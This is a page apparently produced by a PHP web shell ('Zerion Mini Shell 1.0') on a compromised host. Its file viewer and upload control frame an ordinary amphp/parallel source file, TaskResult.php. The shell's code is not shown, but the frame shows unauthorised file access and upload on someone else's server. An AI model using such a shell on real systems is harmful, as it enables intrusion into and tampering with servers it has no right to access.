ok

Mini Shell

Direktori : /home2/selectio/public_html/fms-worksuite/vendor/amphp/parallel/lib/Worker/Internal/
Upload File :
Current File : /home2/selectio/public_html/fms-worksuite/vendor/amphp/parallel/lib/Worker/Internal/TaskResult.php

<?php

namespace Amp\Parallel\Worker\Internal;

use Amp\Promise;

/** @internal */
abstract class TaskResult
{
    /** @var string Task identifier. */
    private $id;

    /**
     * @param string $id Task identifier.
     */
    public function __construct(string $id)
    {
        $this->id = $id;
    }

    /**
     * @return string Task identifier.
     */
    public function getId(): string
    {
        return $this->id;
    }

    /**
     * @return Promise<mixed> Resolved with the task result or failure reason.
     */
    abstract public function promise(): Promise;
}

Zerion Mini Shell 1.0